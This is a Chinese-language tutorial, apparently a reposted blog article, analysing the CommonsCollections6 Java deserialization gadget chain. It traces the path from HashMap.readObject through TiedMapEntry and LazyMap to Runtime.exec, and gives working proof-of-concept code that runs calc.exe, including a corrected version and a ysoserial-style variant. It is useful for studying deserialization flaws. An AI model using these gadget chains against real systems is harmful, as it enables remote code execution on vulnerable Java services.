04CommonsCollections6

P牛的链

简介

• CC6照旧利用的LazyMap
  
• 高版本java可用，实测过：1.8.0_66 1.8.0_261 11.0.18 17.0.11等版本
  
• commons-collections:3.1
  

利用链如下

1. /*
2. Gadget chain:
3. java.io.ObjectInputStream.readObject()
4. java.util.HashMap.readObject()
5. java.util.HashMap.hash()
7. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
9. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
10. org.apache.commons.collections.map.LazyMap.get()
12. org.apache.commons.collections.functors.ChainedTransformer.transform()
14. org.apache.commons.collections.functors.InvokerTransformer.transform()
15. java.lang.reflect.Method.invoke()
16. java.lang.Runtime.exec()
17. */

复制代码

不成功的链

先给出初步的poc代码

1. import org.apache.commons.collections.Transformer;
2. import org.apache.commons.collections.functors.ChainedTransformer;
3. import org.apache.commons.collections.functors.ConstantTransformer;
4. import org.apache.commons.collections.functors.InvokerTransformer;
5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
6. import org.apache.commons.collections.map.LazyMap;
8. import java.io.*;
9. import java.lang.reflect.Field;
10. import java.util.HashMap;
11. import java.util.Map;
13. public class CommonCollection6 {
14.     public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
15.         Transformer[] fakeTransformers = new Transformer[] {new
16.                 ConstantTransformer(1)};
17.         Transformer[] transformers = new Transformer[] {
18.                 new ConstantTransformer(Runtime.class),
19.                 new InvokerTransformer("getMethod", new Class[] { String.class,
20.                         Class[].class }, new
21.                         Object[] { "getRuntime",
23.                         new Class[0] }),
24.                 new InvokerTransformer("invoke", new Class[] { Object.class,
25.                         Object[].class }, new
26.                         Object[] { null, new Object[0] }),
27.                 new InvokerTransformer("exec", new Class[] { String.class },
28.                         new String[] { "calc.exe" }),
29.                 new ConstantTransformer(1),
30.         };
31.         Transformer transformerChain = new ChainedTransformer(fakeTransformers);
33.         Map innerMap = new HashMap();
34.         Map outerMap = LazyMap.decorate(innerMap, transformerChain);
36.         TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
37.         Map expMap = new HashMap();
38.         expMap.put(tme, "valuevalue");
40.         Field f =
41.                 ChainedTransformer.class.getDeclaredField("iTransformers");
42.         f.setAccessible(true);
43.         f.set(transformerChain, transformers);
44.         // ==================
45.         // ⽣成序列化字符串
46.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
47.         ObjectOutputStream oos = new ObjectOutputStream(barr);
48.         oos.writeObject(expMap);
49.         oos.close();
50.         // 本地测试触发
51.         System.out.println(barr);
52.         ObjectInputStream ois = new ObjectInputStream(new
53.                 ByteArrayInputStream(barr.toByteArray()));
54.         Object o = (Object)ois.readObject();
55.     }
56. }

复制代码

cc6照旧利用的LazyMap，在cc1中分析过，是通过LazyMap#get方法触发的漏洞，所以我们从readObject入口点开始需要一步一步找到LazyMap#get方法。

1. // HashMap的readObject作为入口点
2. private void readObject(java.io.ObjectInputStream s)
3.     throws IOException, ClassNotFoundException {
4.     // Read in the threshold (ignored), loadfactor, and any hidden stuff
5.     s.defaultReadObject();
6.     reinitialize();
7.     if (loadFactor <= 0 || Float.isNaN(loadFactor))
8.         throw new InvalidObjectException("Illegal load factor: " +
9.                                          loadFactor);
10.     s.readInt();                // Read and ignore number of buckets
11.     int mappings = s.readInt(); // Read number of mappings (size)
12.     if (mappings < 0)
13.         throw new InvalidObjectException("Illegal mappings count: " +
14.                                          mappings);
15.     else if (mappings > 0) { // (if zero, use defaults)
16.         // Size the table using given load factor only if within
17.         // range of 0.25...4.0
18.         float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
19.         float fc = (float)mappings / lf + 1.0f;
20.         int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
21.                    DEFAULT_INITIAL_CAPACITY :
22.                    (fc >= MAXIMUM_CAPACITY) ?
23.                    MAXIMUM_CAPACITY :
24.                    tableSizeFor((int)fc));
25.         float ft = (float)cap * lf;
26.         threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
27.                      (int)ft : Integer.MAX_VALUE);
28.         @SuppressWarnings({"rawtypes","unchecked"})
29.             Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
30.         table = tab;
32.         // Read the keys and values, and put the mappings in the HashMap
33.         for (int i = 0; i < mappings; i++) {
34.             @SuppressWarnings("unchecked")
35.                 K key = (K) s.readObject();
36.             @SuppressWarnings("unchecked")
37.                 V value = (V) s.readObject();
38.             // 关键操作，key为TiedMapEntry tme
39.             putVal(hash(key), key, value, false, false);
40.         }
41.     }
42. }
44. // 追溯HashMap#hash(key)
45. static final int hash(Object key) {
46.     int h;
47.     return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
48. }
50. // 追溯TiedMapEntry#hashcode
51. public int hashCode() {
52.     Object value = getValue();
53.     return (getKey() == null ? 0 : getKey().hashCode()) ^
54.            (value == null ? 0 : value.hashCode());
55. }
57. // 追溯追溯TiedMapEntry#getValue
58. public Object getValue() {
59.     return map.get(key);
60. }

复制代码

到这里就触发了LazyMap#get，但是运行这段poc代码实际上没有弹出计算机
改进

前面代码没有运行成功的原因是我们忽略了LazyMap#get触发漏洞的条件

1. public Object get(Object key) {
2.     // create value for key if key is not currently in the map
3.     if (map.containsKey(key) == false) {
4.         Object value = factory.transform(key);
5.         map.put(key, value);
6.         return value;
7.     }
8.     return map.get(key);
9. }

复制代码

只有当if(map.containsKey==false)条件被满足时，才会进入执行factory.transform(key)，在我们构造gadget时，注意到这个操纵expMap.put(tme, "valuevalue")，原本该操纵是为了给HashMap添加键值对，在readObject时能够触发相干操纵，但是查看该方法的操纵

1. public V put(K key, V value) {
2.         return putVal(hash(key), key, value, false, true);
3.     }

复制代码

这里已经提前执行过一次HashMap#put，这造成了什么后果呢，就是在天生恶意序列化对象前我们就触发了恶意操纵，在此时执行到LazyMap#get时，进入if执行map.put(key, value)，所以在反序列化的时候再次执行LazyMap#get时，就不会进入if执行代码，而是直接return map.get(key)。
改进的poc代码就是在天生序列化对象前，将map.put(key, value)添加的键值对移除

1. // .......
2. Transformer transformerChain = new ChainedTransformer(fakeTransformers);
4. Map innerMap = new HashMap();
5. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
7. TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
8. Map expMap = new HashMap();
9. expMap.put(tme, "valuevalue");
11. // 移除添加的键值对
12. outerMap.remove("keykey");
14. Field f =
15.         ChainedTransformer.class.getDeclaredField("iTransformers");
16. f.setAccessible(true);
17. f.set(transformerChain, transformers);
19. // .......

复制代码

ysoserial链

为了便于分析，这里简化了一下，但是利用链和ysoserial是完全一样的

1. Transformer[] fakeTransformers = new Transformer[] {new
2.         ConstantTransformer(1)};
3. Transformer[] transformers = new Transformer[] {
4.         new ConstantTransformer(Runtime.class),
5.         new InvokerTransformer("getMethod", new Class[] { String.class,
6.                 Class[].class }, new
7.                 Object[] { "getRuntime",
9.                 new Class[0] }),
10.         new InvokerTransformer("invoke", new Class[] { Object.class,
11.                 Object[].class }, new
12.                 Object[] { null, new Object[0] }),
13.         new InvokerTransformer("exec", new Class[] { String.class },
14.                 new String[] { "calc.exe" }),
15.         new ConstantTransformer(1),
16. };
17. Transformer transformerChain = new ChainedTransformer(fakeTransformers);
19. Map innerMap = new HashMap();
20. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
22. TiedMapEntry tme = new TiedMapEntry(lazyMap, "foo");
24. HashSet map = new HashSet();
25. map.add(tme);
26. lazyMap.remove("foo");
28. Field f =
29.         ChainedTransformer.class.getDeclaredField("iTransformers");
30. f.setAccessible(true);
31. f.set(transformerChain, transformers);
33. // ==================
34. // ⽣成序列化字符串
35. ByteArrayOutputStream barr = new ByteArrayOutputStream();
36. ObjectOutputStream oos = new ObjectOutputStream(barr);
37. oos.writeObject(map);
38. oos.close();
39. // 本地测试触发
40. System.out.println(barr);
41. ObjectInputStream ois = new ObjectInputStream(new
42.         ByteArrayInputStream(barr.toByteArray()));
43. Object o = (Object)ois.readObject();

复制代码

这里同样有lazyMap.remove("foo")，由于map.add(tme)执行了hash(tme)，ysoserial的原始poc代码没有remove是由于它是直接通过反射设置的属性
调用链如下，P牛的链相对于ysoserial来说，在入口点java.util.HashMap.readObject()中直接调用了java.util.HashMap.hash()

1. /*
2. Gadget chain:
3. java.io.ObjectInputStream.readObject()
4. java.util.HashSet.readObject()
5. java.util.HashMap.put()
6. java.util.HashMap.hash()
8. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
10. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
11. org.apache.commons.collections.map.LazyMap.get()
13. org.apache.commons.collections.functors.ChainedTransformer.transform()
15. org.apache.commons.collections.functors.InvokerTransformer.transform()
16. java.lang.reflect.Method.invoke()
17. java.lang.Runtime.exec()
18. */

复制代码

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。